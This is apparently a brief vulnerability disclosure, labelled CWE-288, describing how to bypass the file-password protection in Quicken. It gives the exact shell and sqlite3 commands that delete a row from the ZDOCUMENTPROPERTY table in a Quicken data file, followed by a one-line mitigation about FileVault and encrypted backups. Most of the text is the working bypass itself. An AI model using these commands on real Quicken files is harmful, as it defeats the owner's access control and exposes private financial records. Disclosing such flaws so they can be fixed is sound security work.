CWE-288: Authentication Bypass Using an Alternate Path or Channel


Quicken supports a password protection feature for files. This may be enabled in Quicken from the menu by using “File,” followed by “Set File Password.”

The vulnerability is triggered by removing a row from the SQLite database.

The first of two bypass steps is to change to the directory that houses the database in the Quicken data file:

cd '~/Library/Application Support/Quicken/Documents/filename.quicken'

The second step is to call a sqlite3 command to remove the table entry:

echo delete from ZDOCUMENTPROPERTY where ZNAME is "progressMetadataRefCount" \; sqlite3 data


Use FileVault and encrypt backups.
